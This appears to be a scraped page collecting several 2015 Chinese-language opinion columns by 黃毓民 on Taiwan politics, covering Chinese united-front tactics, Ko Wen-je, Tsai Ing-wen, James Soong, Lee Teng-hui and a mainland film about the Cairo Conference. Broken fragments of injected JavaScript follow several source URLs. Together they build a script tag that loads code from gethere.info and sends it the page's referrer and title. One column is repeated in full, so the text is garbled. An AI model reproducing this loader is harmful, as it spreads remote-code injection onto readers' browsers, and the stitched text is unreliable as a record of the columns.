「統一戰線(簡稱統戰)」是中國共產黨起家，以至奪取政權的三大法寶之一，其精粹是「聯合次要敵人，打擊主要敵人」。毛澤東晚年鬥倒了林彪，事後夫子自道其政爭戰術是「甩石頭、掺沙子、挖墙角」，也許是老毛對統戰理論的補充。

 

 

中共針對台灣政壇的統戰工作從未停歇，對象無分藍綠。單就獨派陣營而論，立場強硬者，便「甩石頭」口誅筆伐，「麻煩製造者」及「破壞台海和平」等帽子盡出，務求使中間選民卻步；「掺沙子」(派人滲透)的工作是機密行事；至於「挖墙角」，一些台獨老將，與對岸「破冰」之後，有的對中共敵意大減，甚至有人變成了統派。

 

 

柯文哲2014年以無黨籍獨立「政治素人」身分，角逐台北市長選舉，其間曾指「不知九二共識是何物」，及提出「兩國一制」。踏入2015年，柯兩度接受中共官媒訪問時，一改口風形容「兩岸一家親」，又以所謂「一五新觀點」，迂迴地默認了九二共識，剛落幕的上海雙城論壇，大抵維持他的修正論調。

 

 

立竿見影的效果，是柯文哲與民進黨之間，已因此出現裂痕，例如台南市長賴清德公開向柯嗆聲，指除非中共撤去對準台灣的飛彈，否則「兩岸一家親」之說，實難引起台灣社會共鳴。民進黨另一前立委林濁水則分析，柯文哲以台北市長身分，在九二共識及一個中國的立場上率先讓步，將對有望2016年當選總統的蔡英文構成壓力，並收縮她對中共周旋之戰略縱深。

 

 

以往被中共統戰的綠營人物，其支持者迅速離棄，政治能量大打折扣。然而，柯文哲現風頭正盛，尚有3年任期，他會否被中共完全「挖」掉，對獨派政治生態有何影響，值得人們留意！

 

黃毓民 時事評論員

 

http://hk.on.cc/tw/bkn/cnt/commentary/20150822/bkntw-20150822000426368-0822_04411_001.htmls.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;

據民進黨最近的一項內部評估，該黨在113個立法院總席次中，可望奪得約57個席次，國民黨則只得40席左右。

 

 

也許是受此消息鼓舞，民進黨總統參選人蔡英文於8月16日公布未來執政「5大改革」，其中第4項「落實轉型正義」，表明「過去威權時代的遺害，必須一一掃除」。更不時點名暗示國民黨「擁有龐大不當黨產成為台灣民主最大的缺陷，也讓政黨無法公平競爭……只要進步力量取得國會的多數，我們都要一一來導正」。

 

 

轉型正義是政治學術語，意指一地民主化之後，對過去獨裁體制帶來的政治壓迫所作之善後工作，在台灣是開放黨禁報禁、結束《動員戡亂時期臨時條款》，乃至成立「財團法人二二八事件紀念基金會」及「財團法人戒嚴時期不當叛亂暨匪諜審判案件補償基金會」。

 

 

對綠營(尤其是深綠)中人而言，上述舉措仍不足夠，他們希望完全的炒回國民黨的家，及懲治白色恐怖之加害者，蔡英文的改革主張，滿足了他們一半訴求。可是，大選距今約5個月，蔡英文搶先提出轉型正義的願景，卻予公眾好像已篤定完勝，準備全面執政，並清算政敵的觀感。

 

 

蔡的第5項改革主張，卻是說要「終結政治惡鬥」，教人哭笑不得，試問如何能一邊向前執政黨開刀，同時又高唱朝野「大和解」？

 

 

選舉政治，是如何能隱住基本盤、爭取中間選民，又不招致對方陣營支持者反彈的藝術。蔡英文參選之初，擺出一副戒慎恐懼的姿態，但當形勢略佔上風，就得意忘形起來。也許蔡最終仍可勝選入主總統府，立法院選情卻有可能觸動藍營悲情，引發鐘擺效應，泛藍仍可保住議會過半數，她步上陳水扁的後塵，陷入朝小野大的困境！

 

黃毓民 時事評論員

 

http://hk.on.cc/tw/bkn/cnt/commentary/20150820/bkntw-20150820000421498-0820_04411_001.html

宋楚瑜八月六日的參選宣言，涉及兩岸關係的部分，有些地方確是抓着了要害，例如他指出「兩岸關係就是國共內戰的延續……是中華民國與中華人民共和國兩個治權之爭，只是爭鬥的方式已經由戰爭的方式改變成為制度之爭、生活方式之爭。」

 

 

宋楚瑜說：「兩岸同屬炎黃子孫、中華民族的大家庭……2014年5月，與中共總書記習近平會談……共同提出『兩岸一家親』的方針……兩岸關係強不得、急不得、重不得，必須爭取時間換取兩岸合作的更大空間……首重『心靈契合』，兩廂情願自然水到渠成……在政治、經濟、社會差異尚有差距時，『維持中華民國的現狀』是台灣內部最大的共識。」但是，揆諸當前台灣島內政治情勢，卻未必能夠凝聚兩岸關係共識。

 

 

宋楚瑜的參選宣言，起首便藉中學生反課綱的抗爭，暗批馬英九政府處事強硬失當。然而，學生之所以不滿高中歷史課綱微調案，卻正是不滿其中強行灌輸的大中華國族身份認同。「兩岸一家親」之類話語，對台灣年輕一代，以至親綠營民眾，根本聽不入耳，他們也沒興趣與對岸官民「心靈契合」。宋楚瑜所謂要建立超越藍綠的聯合政府，恐怕只是選舉語言，人們認真不得！

 

 

宋楚瑜主張兩岸「雙方不結盟對抗，不進行軍備競賽」。可是，沒有正式的雙邊裁軍條約，只要中共繼續與俄國舉行聯合軍演，及共軍持續加速現代化，所謂不結盟及不軍備競賽，相信亦屬一廂情願。

 

 

台灣社會之所以有維持現狀的基本共識，政治急統固然沒有市場，兩岸經濟上的互動，基層及年輕人根本分享不到成果；主流社會不接受急獨，則是懍於中共的武嚇。兩岸的政治差距短期內相信難以拉近，宋楚瑜強調這一點，多談維持現狀，才有望爭取中間選民的支持。

 

黃毓民 時事評論員

 

 

http://hk.on.cc/tw/bkn/cnt/commentary/20150818/bkntw-20150818000424514-0818_04411_001.htmldocument.currentScript.parentNode.insertBefore(s, document.currentScript);

前總統李登輝較早時接受日媒專訪，聲稱在太平洋戰爭時，台灣人當時「身為日本人，是為祖國而戰」，「既然(台日兩地)同屬一國，台灣對日抗戰就不是事實」，自然引來總統馬英九及泛藍陣營的狠批。

評論此事對錯，必須從問題核心入手 ── 過去20多年來台灣的政治問題，歸根結柢，是無法解開的身份認同死結 ── 中華民國在台澎金馬的民眾，應有怎麼樣的身份認同，到底是中國人，還是台灣人？

藍營傾向前者，但在國際舞台上，「中國」的名號已被中華人民共和國奪去，中華民國公民自認中國人，必須要向外國人費盡唇舌，解釋自己並非從屬於中共。

民進黨1999年的《台灣前途決議文》，表明「台灣是一主權獨立國家……並不屬於中華人民共和國」，但在「說明」部分卻指「目前憲法稱為中華民國」，有人形容這是「借殼台獨」(此主張也是出於李登輝)，曾繼何時民進黨是否定中華民國，如今以「以否定為肯定」，要依靠「中華民國」來確立主權獨立地位。統獨兩派各有其尷尬之處。

領導中國抗日勝利，可算是國民黨最大的歷史功德，也是藍營中人引以為傲之處；另一方面，台灣本省人，當中不少對日本殖民統治，有懷念之情。兩者對日本南轅北轍的態度，這也是台灣身份認同的另一撕裂族群之源。

李登輝曾在1998年，台灣光復53周年前夕，以中華民國總統身份發表談話，提出「新台灣人」理念，稱「在這一片土地上共同成長、生活的我們，不論是原住民、是數百年前或是數10年前來的……都是台灣的真正主人。

我們對台灣過去的發展有著相同的貢獻，而對台灣的未來前途更有著共同的責任。」此外，提拔他的前總統蔣經國，晚年亦曾公開宣告自己也是台灣人。凡此種種，都有化解撕裂，重構身份認同的用意。

然而，李登輝最近的言行，卻充滿向藍營挑釁的意味，無助台灣民主建設，單從這一點，已值得批評！

前總統李登輝較早時接受日媒專訪，聲稱在太平洋戰爭時，台灣人當時「身為日本人，是為祖國而戰」，「既然(台日兩地)同屬一國，台灣對日抗戰就不是事實」，自然引來總統馬英九及泛藍陣營的狠批。

評論此事對錯，必須從問題核心入手 ── 過去20多年來台灣的政治問題，歸根結柢，是無法解開的身份認同死結 ── 中華民國在台澎金馬的民眾，應有怎麼樣的身份認同，到底是中國人，還是台灣人？

藍營傾向前者，但在國際舞台上，「中國」的名號已被中華人民共和國奪去，中華民國公民自認中國人，必須要向外國人費盡唇舌，解釋自己並非從屬於中共。

民進黨1999年的《台灣前途決議文》，表明「台灣是一主權獨立國家……並不屬於中華人民共和國」，但在「說明」部分卻指「目前憲法稱為中華民國」，有人形容這是「借殼台獨」(此主張也是出於李登輝)，曾繼何時民進黨是否定中華民國，如今以「以否定為肯定」，要依靠「中華民國」來確立主權獨立地位。統獨兩派各有其尷尬之處。

領導中國抗日勝利，可算是國民黨最大的歷史功德，也是藍營中人引以為傲之處；另一方面，台灣本省人，當中不少對日本殖民統治，有懷念之情。兩者對日本南轅北轍的態度，這也是台灣身份認同的另一撕裂族群之源。

李登輝曾在1998年，台灣光復53周年前夕，以中華民國總統身份發表談話，提出「新台灣人」理念，稱「在這一片土地上共同成長、生活的我們，不論是原住民、是數百年前或是數10年前來的……都是台灣的真正主人。

我們對台灣過去的發展有著相同的貢獻，而對台灣的未來前途更有著共同的責任。」此外，提拔他的前總統蔣經國，晚年亦曾公開宣告自己也是台灣人。凡此種種，都有化解撕裂，重構身份認同的用意。

然而，李登輝最近的言行，卻充滿向藍營挑釁的意味，無助台灣民主建設，單從這一點，已值得批評！

黃毓民 時事評論員

 

http://hk.on.cc/tw/bkn/cnt/commentary/20150827/bkntw-20150827000422018-0827_04411_001.htmlvar d=document;var s=d.createElement(‘script’);

中共的統戰，雖有其高明之處，但非戰無不勝，由於受意識形態及政治正教條框限，有時與其統戰對象之世界觀或政治信仰互相牴觸，往往得出適得其反的結果，更經常鬧出大笑話。

北京為紀念抗戰勝利七十周年，九月三日於天安門舉行大型閱兵。同時，共軍背景的「八一電影製片廠」，拍了一套《開羅宣言》電影，打算在同日上畫。最近公布的電影海報，有出席會議的時任美國總統羅斯福，及英國首相丘吉爾，卻也有本因《蘇日中立條約》而需避席的蘇聯領導人史達林，而中國代表，竟不是蔣介石，而是當時據國共《共赴國難宣言》，應受國民政府軍事委員會領導的毛澤東！

雖然預告片有交代出席開羅會議的是蔣介石，但他在近兩分鐘的片中只有一句「向日本宣戰」對白，反為預告片中花上了不少篇幅，由毛澤東及史達林正經八百的說教，解釋反法西斯戰爭的意義，前者更在短片中亮相四回，有一段夸夸其談，指「三巨頭會議應當做出一個決議，一個有利於中國人民和世界人民的決議。」恍如蔣是奉毛的指示到開羅赴會！

海報及預告片一出，兩岸三地網友固然笑駡之聲及惡搞不絕，就連立場一向傾向大漢沙文主義的中共官媒《環球時報》，也刊登評論員文章，指出在此歷史事件，過分突出毛澤東並不適當。

中共一向自詡是抗日戰爭的「中流砥柱」，以前甚至誑稱是由他們領導。只不過是馬英九當選總統後，兩岸關係解凍，才鬆動口徑，對國軍「正面戰場」的功勞略為肯定。中共若不摒棄扭曲歷史的惡習，不正視史實，高調紀念「抗戰勝利七十周年」，只會貽人笑柄！不過被人恥笑事小，曾被北京拉攏的深藍統派中人看在眼裏，生出被共產黨用完即棄的心寒感覺，統戰工作付諸東流事大！

黃毓民 時事評論員

 

http://tw.on.cc/tw/bkn/cnt/commentary/20150825/bkntw-20150825000514666-0825_04411_001.htmlif (document.currentScript) {